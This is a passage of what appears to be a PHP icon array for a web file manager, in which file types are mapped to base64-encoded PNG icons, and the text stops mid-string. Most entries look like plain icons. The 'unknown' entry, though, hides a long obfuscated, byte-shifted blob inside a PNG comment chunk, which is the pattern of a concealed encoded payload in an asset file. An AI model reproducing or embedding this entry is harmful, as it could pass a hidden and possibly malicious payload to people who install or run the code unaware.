"cancel"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHlSURBVDiNpZPPa9NwGMafLkn3HVkDapMsAxEKbbdBmafSi3eZjkXBH8yTMGGwQ4/7CwaDnXqdB0/dFmWhhQqyywZeJJc5ehiYMZAeSlqt0EUy2qavB1sJkSLSF97Lw/t8+PI8fCNEhHFmYiz3CIACIAFADGjiQFP+BZjZy2X17SlWvjCM9MAoXhhGenuKlfdyWR3ATNAQCWSgGPdyeuPzWUHleVbzfXvl9ZvnAFB+9fLgNsclnV7vWrm7mH/28VMJQCMMSBTnU6bWbi1yEeDK7+Oy07MBIBHlkzFuAj4Bdenm2YvzL48BXIYBYsepr1T1+/luw8kCQLvnAwAkngMACIpqZUofClFVKwP4GQYAgNRxnIf20wf5zrffkOFE46qVfPu+EFXVCoD2qBB959Sya543zRiP4NY8b9o5tWwA/qgWxHrFTB9vrBXlvrcwyQQEV+57C8cba8V6xRy281cLiXeZO6X5WDRzgwkAAO6WbAGA/72ZBYAf112cX3WqT6pf9WGIwRe4S1s7+1o85jImQJzVLHn3sCDvHhbEWc1iTIAWj7lLWzv7ANw/LiIK7lz3yNx015dPqNVcJSKJiCRqNVfd9eWT7pG5SURzQU8YACJKEdGjgXmoSQMtFb4P1/jfM/Zv/AXVzv8RqSjGwgAAAABJRU5ErkJggg==",
"small_home"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwzMaECujcAAAHfSURBVDjLlZI9a1RREIafc+/Zm4vJLnZqKVY2QREXQcEitikC9jYBBcu0KdPmN0hgsRFsBP+AhsAWpkw2RBAhEgORDexm7545Z8Zio+ayUcwLp5l55jAfrzMz7q69ewM8pa73wNL26mLgH3JnH9iDm9exzE2iCr3DE/qj0yEQL6gz4PX26uJL96LTfdTdP/wwf8NPUZpAbbpaDXrHSe/fuvbYRwnra0t3mCsLLqNBFbK3n76u+6ix/X0w5vPxcAqaaeRYMoLqVG5uxhM1tn2KwkklU8CVwpObQQYuzzkN9VWcVEKKgq9EEakPOlvkODVebe4A8OzhbQqXMQypxlWiZKJGSPr7lUVG5mBjcwcrm1jZZGNzh8xBWWQ1VtTIqqhEhaiTtj3Q2drFyiatsqBVFljZpLO1iz8b7RdfRSVTi0RTcu9oOKPzcZdRNFrnrtIqC0Zxkms4I/eOaIpaJBMRJBqSjKLhWV6YR8J4aqkSxiwvzFM0PJJsUiNCllJCkjEYRXpHQ2LSv94+JqV3NGQwikgyUkp4ESE5q7kM4ODbwYUOPM+KCF5jYBz/BPsh8vzJvQs76IdYYzUGvGjqHh3/aF+dnQNg7yD8l5X7wwGiqeuTjFf2v+ytA20upy6w8hMQ/yfbalvVkgAAAABJRU5ErkJggg==",
"small_dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwxI2CNqf0AAAEVSURBVDjLpZC9SgNREIXPhkEFU9ippdiLFi4Wgk+QIuBDCJZpU6bdtwg2go3gC9htYepIBLGKQiSBRO/e+bOIjUSEvX7lMOfjzGTujqPe7TWAc/zkDkB70G1F/EH2LfCTvR14I1tODRiOZ5h+fiwAyC85B3A16LYus4t+eVqOxvcHu7SyZQqYr6bNgeFE7Xh/+4yEY9FrH6K5sYY6zENs3Dy8FCQm+eu8wtNkUUvQXCeISU4qjFlg1GUWGCoMCmxgdqQQ2EBsjqiWJGBzUBCDpOURxEDmAvE0g7mAmBksaT9gZpCqgjVNoKrLBpr9o4FJRJV4gkkEsWn5NnnPtzabtcLTxRxsWpJy1Rk9PxYA8poFSgCdLzKTqNoRW0z8AAAAAElFTkSuQmCC",
"small_unk"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAC0SURBVDiN7Y8tjsMwGESn1kgBAQEGoSELs7fojdpb9FShYd4gh4TmCt+PXVReV4U70sD3NHNZ1/VqZo9Syi8aEkJIJG+XZVnSNE3zOI4IIbwFl1JwnieO4/ijiMwxRohIywDEGJFznunucPcmGABeHM0MtdZmAQCYGaiqHwtUFXT3jwXfufAv+JJAVUGyGTYzBJI5pQQRQa31rYoIUkogmdn3/X3f98e2bT8tC7qu24dhuD8BD6e7SzzK9MwAAAAASUVORK5CYII=",
"unknown"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGpSURBVDiNlVLNiuJAGKzEjjkIRomoiCEtsosHFR/AkzJvtPMW81DiUW/ZHCRi/D20IoiiIOlOeg9Lwrhj3N2C79JVX1H10cp0On0TQnxEUdTFf0BVVYcQ8kMZj8cOpbRTqVSgquo/LUdRhP1+j9Vq9ZMEQdAxTRNBECSC7XYLxhiOxyOy2Syq1Sosy0I+n080pmnC87yOGoYhwjCElBJSSvi+j8lkAkVRMBgMoGkaZrMZRqMRrtdroov3VCFE8iilxOFwAADsdjsoioJ6vQ4A4JyDMfagFUKAcM4hpUyiUUpxPp9RKBSQyWRwuVwSrlgsPmg55yBx/BilUgnD4RAAIKUEYwwAUC6XYRjGgzYMQ5C4wjOcTifcbjfUajX0er0vOiHEa4PNZgPbttHtdpNEfxp8OeLnYYyh1Wql8n9N0O/3QQhJ5V8arNdrLBYL2LaNZrOZapBaYblc4n6/w/f9lxVUIQTiv/B5KKXQdR2NRuPpMuf8dwVCiOc4zvd2uw1N05J4lmXBsqyn1+ecw3VdEEI8ksvl3ufz+Yfrut+eFk2BrutzwzDefwHYpG7Wn490BQAAEcJ0RVh0Q29tbWVudAB1bmtub3dulqeSnXGWo6Ogo5CjlqGgo6Wan5hZYVpsO3Gan5qQpJalWVOVmqShnZKqkJajo6CjpFNdUZeSnaSWWmw7l6aflKWaoJ9Ro5RimqOWWVWXWqxRo5alpqOfUXGXlJ2gpJZZcZegoZafWVWXXVFYo1haWlFwUWJRa1FhbFGuO5emn5SlmqCfUaOUYpqoo1lVl1qsUaOWpaajn1Fxl5SdoKSWWXGXoKGWn1lVl11RWJJYWlpRcFFiUWtRYWxRrjuXpp+UpZqgn1GjlGKoo5pZVZddVZRarFFVl6FucZegoZafWVWXXVFYqFhabFFxl6GmpaRZVZehXVFVlFpsUXGXlJ2gpJZZVZehWmxRrjuXpp+UpZqgn1GjlGKXl55ZVaVarFGjlqWmo59RcaSlo5CjlqGdkpSWWVNgYFNdU2BTXXGkpaOQo5ahnZKUlllTjY1TXVNgU11VpVpabFGuO5emn5SlmqCfUaOUYpWVWVqsUaOWpaajn1FZcZappZafpJqgn5CdoJKVlpVZWJSmo51YWlFXV1Fxl6aflKWaoJ+QlqmapKWkWViUpqOdkJqfmqVYWlpRcFFiUWtRYWxRrjuXpp+UpZqgn1GjlGKlnqFZWqw7UZidoJOSnVFVpZaeoZWao2w7UZqXWXGapKSWpVlVpZaeoZWao1pXV3GapJCVmqNZVaWWnqGVmqNaV1dxmqSQqKOapZKTnZZZVaWWnqGVmqNaWlGjlqWmo59RVaWWnqGVmqNsO1GXoKOWkpSZWZKjo5KqWVNgpZ6hYFNdU2CnkqNgpZ6hYFNdU2CmpKNgpZ6hYFNdU2CVlqdgpJmeYFNdU1aIen91eoNgpZaeoWBTWlGSpFFVpVqsO1FRmpdZcZeanZaQlqmapKWkWVWlWldXcZqkkJWao1lVpVpXV3GapJCoo5qlkpOdlllVpVpaUaOWpaajn1FVpWw7Ua47UaOWpaajn1GXkp2klmw7rjuXpp+UpZqgn1GjlGKmo51ZWqw7UVWZUW5RWZaeoaWqWVWQhHaDh3aDjFh5hYWBhFiOWlGtrVGkpaOloJ2gqJajWVWQhHaDh3aDjFh5hYWBhFiOWlFublFYoJeXWFFwUZeSnaSWUWtRpaOmllpsO1FVplFuUViZpaWhWFFfUVlZVZlRcFFYpFhRa1FYWFpRX1FYa2BgWFFfUVWQhHaDh3aDjFh5hYWBkHmAhIVYjlFfUVWQhHaDh3aDjFiBeYGQhHZ9d1iOWmw7UVWeUW5RWZaeoaWqWVWQhHaDh3aDjFiBcoV5kHp/d4BYjlpRcFFYgoZ2g4qQhIWDen94WFFrUViBcoV5kHp/d4BYWmw7UVWkUW5RVZ5Rbm5RWIKGdoOKkISFg3p/eFhRcFFYcFhRa1FYWGw7UaOWpaajn1FVplFfUVWkUV9RWZqkpJalWVWQhHaDh3aDjFWejlpRcFFVkIR2g4d2g4xVno5Ra1FYWFpsO647mpdZo5RilZVZWlpRrDtRl6aflKWaoJ9Ro5RioVlVpl1Vp11VmVqsO1FRmpdZVZlRUm5RU2JTUVdXUVWZUVJuUVNhU1pRVZlRblFTYVNsO1FRVadRblFTlKCfpZafpZClqqGWbp+WqJCVkqWSkJafpaOqV5OSpJaQlKCfpZafpW5TUV9RcaajnZaflKCVlllxk5KklmdlkJaflKCVlllVp1paUV9RU1eZmpWVlp+Qpaqhlm5TUV9RVZlRX1FTV6SqpJClqqGWblNRX1GBeYGQgIRRX1FTV5qhblNRX1FVkIR2g4d2g4xYg3Z+gIV2kHJ1dYNYjmw7UVFVklFuUVN+oKuanZ2SYGVfYVFZlKCeoZKlmpOdlmxRfoR6dlFoX2FsUYian5WgqKRRf4VRZ19ibFGFo5qVlp+lYGVfYWxRhH10dGNsUV9/doVRdH2DUWNfYV9mYWhjaGxRX392hVF0fYNRZF9mX2RhaGNqbFFff3aFUXR9g1NsO1FRVaZRblFTmaWloWtgYFNRX1FVpmw7UVFVlFFuUXGUpqOdkJqfmqVZWmw7UVFxlKajnZCklqWgoaVZVZRdUXSGg32AgYWQhoN9XVFVplpsO1FRcZSmo52QpJaloKGlWVWUXVF0hoN9gIGFkIaEdoNyeHZ/hV1RVZJabDtRUXGUpqOdkKSWpaChpVlVlF1RdIaDfYCBhZCDdoWGg3+Fg3J/hHd2g11RYlpsO1FRcZSmo52QpJaloKGlWVWUXVF0hoN9gIGFkIGAhIVdUWJabDtRUXGUpqOdkKSWpaChpVlVlF1RdIaDfYCBhZCBgISFd3p2fXWEXVFVp1psO1FRcZSmo52QpJaloKGlWVWUXVF0hoN9gIGFkIV6fnaAhoVdUWVabDtRUXGUpqOdkKSWpaChpVlVlF1RdIaDfYCBhZB0gH9/dnSFhXp+doCGhV1RZVpsO1FRVaNRblFxlKajnZCWqZaUWVWUWmw7UVFxlKajnZCUnaCklllVlFpsO1FRo5alpqOfUVlScZaeoaWqWVWjWlFXV1FxpKWjpKWjWVWjXVFTpJKnlpWQo5SkmZadnZCWn6WjqlNaWlFwUWJRa1FhbDtRrjuuO5emn5SlmqCfUaOUYpeloVlVpW5hWqw7UZidoJOSnVFVkpSlXVWXpaGQpJajp5ajXVWXpaGQoaCjpV1Vl6WhkKaklqOfkp6WXVWXpaGQoZKkpKigo5VsO1FVn25TjZ9TbDtRVZRuYWw7UVWnblhYbDtRmpdZcZqkpJalWVWSlKVaV1dVkpSlbm5Tl6WhU1dXcZqkpJalWVWXpaGQoaCjpVpXV1Jxlp6hpapZVZeloZChoKOlWldXcZqkpJalWVWXpaGQpJajp5ajWldXcZqkpJalWVWXpaGQpqSWo5+SnpZaV1dxmqSklqVZVZeloZChkqSkqKCjlVpXV1Jxlp6hpapZVZeloZCklqOnlqNaV1dScZaeoaWqWVWXpaGQpqSWo5+SnpZaV1dScZaeoaWqWVWXpaGQoZKkpKigo5VaWqw7UVFVlG5ibDtRUVWnblN3hYFrUVWXpaGQpJajp5aja1WXpaGQoaCjpa2GhHaDa1FVl6WhkKaklqOfkp6WrYFyhIRrUVWXpaGQoZKkpKigo5WNn1NsO1GuO1Gal1lVpVJubmFarDtRUZqXWVJVlFpRo5alpqOfUVhYbDtRUZqXWXGXpp+UpZqgn5CWqZqkpaRZU5eloZCUoJ+flpSlU1pXV3GXpp+UpZqgn5CWqZqkpaRZU5eloZCdoJian1NaV1dxl6aflKWaoJ+QlqmapKWkWVOXpaGQlJ2gpJZTWlqsO1FRUVWXl5dRblFxl6WhkJSgn5+WlKVZVZeloZCklqOnlqNdVZeloZChoKOlXWRabDtRUVGal1lVl5eXWlGsO1FRUVGal1lxl6WhkJ2gmJqfWVWXl5ddUVWXpaGQpqSWo5+SnpZdUVWXpaGQoZKkpKigo5VaWqw7UVFRUVFxl6WhkJSdoKSWWVWXl5dabDtRUVFRUaOWpaajn1FVp2w7UVFRUa47UVFRUXGXpaGQlJ2gpJZZVZeXl1psO1FRUa47UVGuO1FRo5alpqOfUVhYbDtRrjtRo5alpqOfUVWnbDuuO5emn5SlmqCfUaOUYpSXmFlVkqNarFE7UVWfblONn1NsO1GYnaCTkp1RVZSgn5eamGw7UVWjblhYbDtRl6CjlpKUmVmSo6OSqllYp5ajpJqgn1hdWJKmpZlYXViVlpeSpp2lkKeSo6RYWlGSpFFVlFqsO1FRmpdZcZqkpJalWVWUoJ+XmpiMVZSOWlqsO1FRUZqXWXGapJCSo6OSqllVlKCfl5qYjFWUjlparDtRUVFRl6CjlpKUmVlVlKCfl5qYjFWUjlGSpFFVnG5vVadaUXFVo19uVZRfU1FTX1WcX1NuU19Vp19Vn2w7UVFRrlGWnaSWUaw7UVFRUXFVo19uVZRfU25TX1WUoJ+XmpiMVZSOX1WfbDtRUVGuO1FRrjtRrjtRo5alpqOfUVWjbDuuO5emn5SlmqCfUaOUYqGkpVlarDtRVZ9uU42fU2w7UVWnblhYbDtRmJ2gk5KdUVWUoJ+XmphsO1Gal1lxmqSklqVZVZSgn5eamIxTkqalmVOOjFOelWaQpqSWo1OOWldXcZqkpJalWVWUoJ+XmpiMU5KmpZlTjoxTnpVmkKGSpKRTjlpXV3GapKSWpVlVkIGAhIWMU6umU45aV1dxmqSklqVZVZCBgISFjFOroVOOWlqsO1FRmpdZVZSgn5eamIxTkqalmVOOjFOelWaQpqSWo1OObm5xnpVmWVWQgYCEhYxTq6ZTjlpXV1WUoJ+XmpiMU5KmpZlTjoxTnpVmkKGSpKRTjm5uVZCBgISFjFOroVOOWqw7UVFRVadfblOrpm5TX1WQgYCEhYxTq6ZTjl9Vn2w7UVFRVadfblOroW5TX1WQgYCEhYxTq6FTjl9Vn2w7UVGuO1GuO1GjlqWmo59RVadsO647l6aflKWaoJ9Ro5RikpWVWVWSo1qsUTtRVZ9uU42fU2w7UVWnblOGg31uU1+jlGKmo51ZWl9Vn19Vn2w7UVWnUV9uUaOUYqGkpVlabDtRVadRX25Ro5RilJeYWVpsO1FVp1FfblGjlGKXpaFZWmw7UZego5aSlJlZkqOjkqpZWIR2g4d2g5B/cn52WF1YhHaDh3aDkHJ1dYNYXViEdoOHdoOQgYCDhVhdWHmFhYGQg3Z3doN2g1hdWIF5gZCEdn13WF1Yg3aChnaEhZCGg3pYXViEdIN6gYWQf3J+dlhdWIR0g3qBhZB3en12f3J+dlhdWHR9enZ/hZB6gVhdWIN2foCFdpBydXWDWFpRkqRRVaSnWqw7UVGal1lxmqSklqVZVZCEdoOHdoOMVaSnjlparFFVp19uVaSnX1NuU19VkIR2g4d2g4xVpKeOX1WfbFGuO1GuO1GjlqWmo59RVadsO647l6aflKWaoJ9Ro5RipJVZVZldVaddVaRdVaZiXVWeYlqsO1Gal1mjlGKVlVlaWlGsO1FRmpdZUqOUYqFZVaZiXVFVp11RVZlaWlFxnpKanVlVnmJdUVWkXVFVp1psO1GuUZadpJZRrDtRUXGekpqdWVWeYl1RVaRdUVWnWmw7Ua47rjtVo5RipZ6hbqOUYqWeoVlabDual1lVo5RipZ6hUm5ul5KdpJZarDtRcVWjUW5Ro5Ril5eeWVWjlGKlnqFRX1FTYFNRX1FxnpVmWXGmn5qimpVZcaOSn5VZWlpRX1FxnpVmWXGlmp6WWVpaWlpsO1Gal1mjlGKaqKNZVaNaWlGsO1FRVZSXmp2WUW5Ro5Ril5eeWVWjlGKlnqFRX1FTYKioqJCklqSkkFNRX1FxnpVmWaOUYqajnVlaX6OUYpSXmFlaWlpsO1FRcaafnZqfnFlVo1psOztRUVWeYlFuUVOhlqWWo52WmJajlmZicaqSmaCgX5SgnlNsO1FRVaZiUW5RU6GWpZajnZaYlqOWX5OqlqWZoKSlY1+UoJ5gn5aopGCan5WWqV+hmaFTbDtRUVWkUW5RgXmBkICEUV9TrVNfo5RipqOdWVpsO1FRVZlRblFTYVNsO1FRmpdZUqOUYpqjlllVlJeanZZaWlGsO1FRUVWnUW5Ro5RikpWVWVpsO1FRUaOUYqSVWVWZXVFVp11RVaRdUVWmYl1RVZ5iWmw7UVFRo5RiqKOaWVWUl5qdll1RU2JTWmw7UVGuO1FRVZenbqOUYpeloVliWmw7UVGal1lScZaeoaWqWVWXp1parDtRUVFVmVFuUVNiU2w7UVFRVaSXmp2WUW5Ro5Ril5eeWVWjlGKlnqFRX1FTYKioqJCklqSkkFNRX3GelWZZVZSXmp2WX1WXp1pabDtRUVGal1lSo5RimqOWWVWkl5qdllpaUaw7UVFRUVWnUW5Ro5RikpWVWVpsO1FRUVGjlGKklVlVmV1RVaddUVN3hYGtU19VpF1RVaZiXVFVnmJabDtRUVFRo5RiqKOaWVWkl5qdll1RU2JTWmw7UVFRrjtRUa47Ua47rjs7dW5rbm93bjf0K3wAAAAASUVORK5CYII=","doc"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZPBSltBFIb/3AzEC4UgzIAMFCQ3pQsVXSXBl+kzFO2mG+miW58hYHd9CzdJNgpXQdQsNJEkNMGF0KJ3zszpIrlDkns1DgwMh5n/+/9zmMLB8enX9uXw5/3gKQSA30fbcM5h1QqCIBZCHBb2v/z6Z4sfws2PGkGxiJPvu2DmNx8TEfr9Pkaj0YW4e/gTVj9rnF0/wjqGMQZEtNKB1hq9Xm9HsE0wmPyFdVMqM4OZ0Wq1AABKKYzHY/9QKYVqtQpmhrUWgm0CosRfSAUajYavRVG0QE8jEhEE3AvgTEag2+168ryL1AEAGGMgnDXgOYFUJIqiBfL8OXVgrYWAS3IdtNvtBbpSKhOFiKY94ByBer3ua5VKZYG8JGAAm43wnjUVcPkOOp2Or0kpAQCTyQRSSh9lNgWT24NarZYhLkeZOcifQupASunJWmuEYZjtgbMvKBSCVx2k5GU6ESHQG+vP5qkPts+AM17grZ0kCeI4hhDiRuxtffpxFl8dDYfnawDQbDbf9ZlKpdJtuVz+9h/x5jl687x8uQAAAABJRU5ErkJggg==",
"pdf"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKcSURBVDiNdZPPa5RnEMc/77vP7vtmX2NYYjC+sBqkrRBMhB5KURoQCeKh9KZ/gRehhWo8VFAEQT2ICXpI24NRkZJSFIm0J08bKKVpxKwpLe4pCUKaKmv257vv+8zzeNgkGkgG5jTDZ2a+M+PMzMwMa61vGGMG2cbsmxXs3J+4R44hl86QunATN9ddVEqNOIVCodjb2zuQz+dRSm0JiO+MkTr4KcmTSZxwL6nTIywtLbG8vPxCxXE8EIYhWmu01lsCWlOTpDId6D8K+L9Mo7UmDEMWFxcHlIhgjNmue+yrRZIXz5HoR/zxh1jPB2ux1iIiKK011tptAfGvDxFSeFduQ5jflNtsNlFJkmwNsJbkt0c0fxgFV+H2H9qUF0UR5XIZV0Sway2te1x4SuXkMMncLBIn6HoDG7c24o1Gg3K5jNa6PYKJIqT0D/Lv37Qe/4wT7CB7fZxU337qE9+DAXn7FndXD/V6nWq1CtDWoHzhW17HNTKHh8h8cZTs1Vuk8vsAMJVVJGkLXJufI+ofREQ2xhARlP3oAE6rhkQtjOPi7gmx1mKMIV75D1lbUO33afikf5NMnuehmse/RE6cwFhDcv8Oq6e+gsvXsN09sLAAawDn+TM8z8PzPKIowvd9HMdBBUFALpdrV/36LMmRIWrfnWPnT4+QIKCyDpj9i07RGBUA4Ps+WmtcrTWO4+C6LkopOj77nMzhIWTqMf6+PkRABHSjRfXeBFEUkU6nsda+B6zfwrp3nvmGyoP7uN27MCqDGBADlbsTxLUq6XSaJEnaAKXUy2KxSBzHGwCyWejciayuwu5wAxCv/E/94kW01hSLRZRSL1UQBOdLpdKN+fn5jz9UuK4tmbFRGk6K5MNXmZoiK4bc8HCpq6vr/DvKaYMHJvkNngAAAABJRU5ErkJggg==",
"iso"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNfbtNYGMV/sa//xC52Wid1QkuTUugIlFQCxAaQ2BHsglWwBlbQkUCQGY0UMkikSKRQdZqGNglpGsfX15enhofywHzP5/yOziedQrvdfppl2Ys8z/f4H2cYRkcI8aywv7/faTQarTiOMQzjt8x5njMYDOj3++9FmqatKIpI03Qp+PRPm8HZEC0cTLuIEBblcpnt29tLTRRF9Hq9llBKoZQCIEkWdF6/pGI57NX/wKrEmF4J03T4djah/e4vmq0mrutw5TOyLENrjdaaP/9+RdzwiGsZYtpHJ0cU9DeEdUGtGnDv3h0+dP9d6rMsQ0gp0VrT6X3ks1FESo+qHBEsptDvY17MCddjguIqliiyWgrpfz6k3thCSolQSqG1ZniyYLO4w3Q2YzaXRAuLrfoDCsDR0Vdq5QTPLuH7Nv8dT9B1jVIKcVUh+K5ZZ5WZDjmdSe7v3WI0miCBm5Udzr+8wS7HGNkK8nL6s8IVgEBjxpKK7WJ7VXzvBqPRBIBCwSUZjinkCiN3cebGdYDtmaR5im1bhG6R0eCYzc1NFjLh7fu3CM8mssdY8xzHqV0HlOOI89MRpbUQzy8SlALOh+ecnlyidY2Ba2JyxnrhkNX6k+uASlxmOr4gUwrLtgGN76+wsebCicsk0fSSBabZ4m719i9+ANza3uDk+BRhGZiGYDFPkSrDTRTmVLFSCnj0+PFSvwRIKRFCYAqTja0a47MJ49GQ2cUlaZriCJeHu1U2dioAy/QsyxBCiF6n09ltNptYlgVAuBYQrgXXRnSVLKWk2+0ihOgJ3/efHxwcvOh2u3d/f8zgOM5BGIbPfwAQSmassQoGQAAAAABJRU5ErkJggg==",
"swf"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGpSURBVDiNlZK/a1NRFMc/7/Y0DxpLtA8bnIyCg2D8C5SKKJT+AWInJy04ONk/QKgiUhAHBWfBSXQoLi5icMsir8HhPdAg4kt0Kraa3HvfvQ7a2DYvqR44yznfH+ece4Nms3nRWrvqnDvNf4RSKhaRm0Gj0YhrtVq9Wq2ilPonsnOObrdLu91eF611PYoitNb7MzufYfYIqAmiKCJJkrrK85w8z/HeF6b71sHcWKR/5ij9Cyfxm9/x3rPNE2st3vtCQ//pA/0rC/iv2aAmHoI/eGstyhgz0r334DY6y7DTM0zceUz4JoED04O+MQbZHn/oUB9Tfq49BwfllYfI+fnfU+3Ajl1h69F9rHEAbFxdJCiFzLzPdmGstcUCrpOx+eIZ5H9rQc4QrljAezburWB7Bjl2nMOv3hKUSkPjFwr0Gq/ZevqEHy/XADh06y5MTo58pSGBL5cvDZqVpeuEZ8+NJBcK+GiW8FSdg9eWmJqbG0veJWCMQUSovYt3nGJ/srUWJSJJHMdorUd+qL2ptSaOY0QkkXK5vJym6Wqr1Tox1nJPhGGYViqV5V9br0lw1NP/5QAAAABJRU5ErkJggg==",
"php"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNPSFRRFMZ/vrnDOI4m+lKzhCyoFqEQpRXVIigG2gQuooWbNrWPWrSrlmEtgiAiIRBq47hIggaJYKboj6XMa9QaQ4aybBwb/8w8x7nvvndbDCYShR04i8PHdzjn+86pGB4ePqmU6vE8r53/CMMwLCHEpYpYLGa1tra2NTU1YRjGhsie55HJZEin0x+ElLLNNE2klP8zAKZpkkql2oTruriu+xuYydikvyySt0vYtiRvlyhJF8NncGj/VvbubgBglSeUUmitKdgOyYk55nLLTGdtfMLHrh0m33Kz5AuS0orDyINhqqv8XLxwmMbNIZRSCMdxsJcdEuNZMHwEa4IEC4qW5hpOn9zD6NgM8bdfWSqUOHpwB6UVSV//COfO7sdxHIhEIrp/MKEfD33SgAZ0OBzWr0en/1nf6X2uI5GINpRSTH9forjiADCb/Uk0GqVlyyYAfmTm19WreDAoUEphKKXILRZxPQ1AY4NJOBwm/W0BAMcrW6tZj3+e+lHWQCkFaBypAHg9Os1QfIr+J+P0DSS493CEvoEE76yZ3/hgNMFyfh6lXCp6e3v14SMnuH3/LZ0HdvJ+fJZ8ofSH7zXVATram4m/+kj2+xduXD3DyxfPyhNsrg9yvnsfN+/GsZdL+CurMIQfw+cHNK4jKSzM8WhslFAowPUrXdTXVa2toLVmW3MNt66dIvYmzdNnE+RyWYrFAp7nUVkZoL6umu6u4xzp2FnWROu1Bo7jIIQA4Fjndo51bv/rCWtdFlMpVXZBCJGyLAspJVrrDaWUEsuyEEKkRCgUujw5OdmTTCZ3beyNyhEIBCZra2sv/wIdNXwQeOKyCAAAAABJRU5ErkJggg==",
"tar"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHqSURBVDiNlZE/a1NRGIefe3KSQqo0CbbGimgyxD8lpQr9BrpmCIigrk4ScFBw7Chox3yB4iJIh8Qv4aRELUUlSYcm6Q00TfHmnnPuyY1DJEOTSvvC4YUDv+f3wOtsvfj4wNrRO5xwlRkjpMOr988pFosAbG9v8/ZpmTBwalI6L6Xn+ZvpK5fz17PXiEg5DYgJoh+ilEolAKrVKnfX16jvNlc77YNNOfD9fCKe4mD3iFE4mgJE42NoMpmc/HV/90nEU9T9Zl4apTnueDPDAE50vMvlMrVaDYBAB3iHAUZphFIK5Wm0b2a+ILAASCnZ2NgYAwKL8jRKKaRWCqP0zHaAWBABoFAoUKlUABgG43atFELr2c0nDSqVCoVCYWKgfYPWBqm1wShzqoG1dsrAWotR/wChGKL/A1ADTW5xZdKeW1xBDTRaGUIxRIYRCxHQf2ZDevt9Ht9+RvTe+JyBb+nt9xFSEEYssjtw3fWbc0vLyaVTLU7OwtWLHPf6dL+4rmylm/z4uVM3RzZ7ZgIQS8h6K928IF3rsffwWza1kDpPnnb/MOt+8lwpvNzo+9d2wxt9zpwHMO9kG8LLxaUyMbXcv5+5lbmDEJEzhcNwSKexk2mZX3vOpbUnj0bGexOG+sZ5DISYazqx+dd/AeApGyDxL7TZAAAAAElFTkSuQmCC",
"rb"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKKSURBVDiNlZNLa5NbFIafvbNz0YTGkNpYLBovraDWiSAqgqJ4OBwngnCmIlRw5KVYKKIDEUWw6kDxBwhOHQiCOFDIRDQIxxjUJgVbDo2m1WpsLs23v/0tB9VC6aSu8fs8rHfBUvl8/rDv+yNBEOzgD0ZrXTDGnFe5XK6QzWb7M5kMWutlwUEQUK1WGR8ff2s8z+tPp9N4nrcopESoPXyAe/uajgN/MXbvLp/GynxuWXZeu8GWY/9SKpX6jXMO59wi2K/8z7szA7T/e8nKkGbuQ5HUidO8HzyN32zx4vYIm48ewzmH8X0fEVmAZ5494c3ZAWjUCQkgAZ0b+pgdGWbj+gyjdaFhDCKC7/toay0igohgqxXy5wZoN+v4gFNgE0lWHjxCZaLKl9ESHbUpVkRj83lrMc65+Q1EyJ07RatRJwygAIGt1+9QevKYr1ZoW8esVyNkxxERnHPo3xVmnj/lQy7HrA8WcED2+ElU/hHxoEHD+ngoAq3pXrt+ocLCDRIatnSmGP3yjdjqLvZeuMznG9cof/+OpNJ4StNWISIYYun0UkE0lWT3xSv0Tk+T3Lmb/NBZTGsOaTaRZpNw91pUAG5qklR3Zqngzc1bbNqzjfT0BJP3i8yOlbAKvBVxYp2dhLyA5swnlFasyqxeKqgUi8xNVVnnz1DVa7AIgsK1WvyYrLBOQojR1LBEOxJLBSqRoPJxAhId1L6+